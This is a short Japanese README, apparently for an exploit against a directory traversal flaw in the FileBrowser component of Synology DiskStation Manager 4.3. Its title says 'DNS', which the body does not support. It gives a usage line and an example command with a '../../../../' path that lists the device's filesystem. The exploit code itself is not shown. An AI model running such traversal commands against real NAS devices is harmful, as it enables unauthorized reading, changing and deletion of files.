
DNS 4.3 用エクスプロイト
Synology DiskStation Manager(DSM)4.3-3810 Update 3 より前のバージョンの FileBrowser コンポーネントには複数のディレクトリトラバーサル脆弱性が存在し、リモートの攻撃者が ..(ドットドット)を介して任意のファイルを読み取り、書き込み、削除できる可能性があります。
python <file.py> <SynoToken> <path>
example:
#list filesystem
python file_list.py ABCDFEGH1234 /home/../../../../